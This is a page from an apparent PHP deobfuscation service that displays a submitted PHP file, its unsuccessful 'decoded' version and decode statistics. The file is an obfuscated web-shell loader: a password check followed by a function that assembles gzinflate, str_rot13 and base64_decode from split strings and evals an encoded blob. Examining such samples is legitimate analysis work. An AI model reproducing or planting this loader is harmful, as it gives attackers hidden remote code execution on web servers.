Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] )) if( empty( $auth_pass ) || ..

Decoded Output download

<? 
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))  
    if( empty( $auth_pass ) ||  
        ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )  
        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;  
    else  
        printLogin(); 
function x($inject){eval("\$z=gz" . "inf" . "la" . "te(s" . "t" . "r_r" . "ot" . "13(ba" . "se" . "6" . "4" . "_" . "d" . "e" . "c" . "o" . "de(st" . "r" . "_" . "r" . "o" . "t" . "13(" . "gzi" . "nf" . "lat" . "e(" . "bas" . "e6" . "4_d" . "ec" . "ode(\$inject))))));eval(\$z);");} 
x("BcHJEkMwAADQD3LQytgOPVmiDEFJIzdaS5Wxpglf3/dcDFDc4D595B+2qTZJTnH07osgbhwsgWs1pusqOlxq5nXn7zyH60hZbh5oDxFcTr+XsqdFkE0gr/avRyMnNOL69LyM1k5gqBddGaeBLVOX1RXWI+yzhoh5AW0deFNnicYBg6BlYVV4D9oB/dDJB1R0bWYawJK1QHZniQPlvtn49gc="); 
?>

Did this file decode correctly?

Original Code

<?
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] )) 
    if( empty( $auth_pass ) || 
        ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) ) 
        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true; 
    else 
        printLogin();
function x($inject){eval("\$z=gz" . "inf" . "la" . "te(s" . "t" . "r_r" . "ot" . "13(ba" . "se" . "6" . "4" . "_" . "d" . "e" . "c" . "o" . "de(st" . "r" . "_" . "r" . "o" . "t" . "13(" . "gzi" . "nf" . "lat" . "e(" . "bas" . "e6" . "4_d" . "ec" . "ode(\$inject))))));eval(\$z);");}
x("BcHJEkMwAADQD3LQytgOPVmiDEFJIzdaS5Wxpglf3/dcDFDc4D595B+2qTZJTnH07osgbhwsgWs1pusqOlxq5nXn7zyH60hZbh5oDxFcTr+XsqdFkE0gr/avRyMnNOL69LyM1k5gqBddGaeBLVOX1RXWI+yzhoh5AW0deFNnicYBg6BlYVV4D9oB/dDJB1R0bWYawJK1QHZniQPlvtn49gc=");
?>

Function Calls

x 1
md5 1

Variables

$inject BcHJEkMwAADQD3LQytgOPVmiDEFJIzdaS5Wxpglf3/dcDFDc4D595B+2qTZJ..

Stats

MD5 27dc125da714528d4bd0872818adf901
Eval Count 1
Decode Time 95 ms